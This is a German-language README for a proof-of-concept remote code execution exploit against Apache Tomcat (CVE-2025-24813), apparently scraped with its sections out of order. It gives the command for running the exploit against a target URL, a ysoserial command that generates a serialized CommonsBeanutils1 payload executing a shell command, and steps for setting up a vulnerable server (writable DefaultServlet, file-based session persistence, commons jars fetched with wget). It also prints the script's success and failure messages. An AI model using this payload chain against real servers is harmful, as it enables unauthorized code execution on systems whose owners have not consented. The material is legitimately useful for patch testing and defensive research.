
CVE-2025-24813 Apache Tomcat RCE Proof of Concept (PoC)
Proof-of-Concept für CVE-2025-24813, eine Remote-Code-Ausführungs-Schwachstelle (RCE) in Apache Tomcat.
Wichtig: Dieses PoC ist ausschließlich zum Testen Ihrer eigenen Umgebungen oder zu Bildungszwecken bestimmt. Jegliche Nutzung dieses PoC, um Systeme ohne entsprechende Autorisierung auszunutzen, ist untersagt und kann illegal sein. Die Ersteller und Verteiler dieses PoC übernehmen keine Verantwortung für Missbrauch oder verursachte Schäden. Holen Sie stets ausdrückliche Erlaubnis ein, bevor Sie eine Umgebung testen, die Ihnen nicht gehört.
python3 CVE-2025-24813.py --url <target_url>
Der Code enthält bereits einen base64-kodierten Payload, der mit ysoserial (https://github.com/frohoff/ysoserial) generiert wurde und eine Datei RCE-success in /tmp wie folgt erstellt:
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/RCE-success" | base64 -w 0
Aktivieren von PUT-/Schreibzugriff
Bearbeiten Sie $CATALINA_HOME/conf/web.xml, um einen readonly-Parameter im Abschnitt des default-Servlet-Namens hinzuzufügen und auf false zu setzen.
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
Aktivieren der Sitzungspersistenz
$CATALINA_HOME/conf/context.xml und fügen Sie die folgende Einstellung hinzu. <Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" />
</Manager>
cd $CATALINA_HOME/lib/
wget https[:]//repo1.maven[.]org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
wget https[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.2/commons-beanutils-1.9.2.jar
wget https[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
[+] Exploit most likely succeeded
[-] Exploit failed with status code: {status_code}, instead of 500,409
$CATALINA_HOME/webapps/ROOT/index.jsp und stellen Sie sicher, dass die Standardeinstellung für die Sitzung nicht false ist, oder entfernen Sie sie einfach. <%@ page session="true" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
ODER
<%@ page pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
Abhängigkeiten nach $CATALINA_HOME/lib/ herunterladen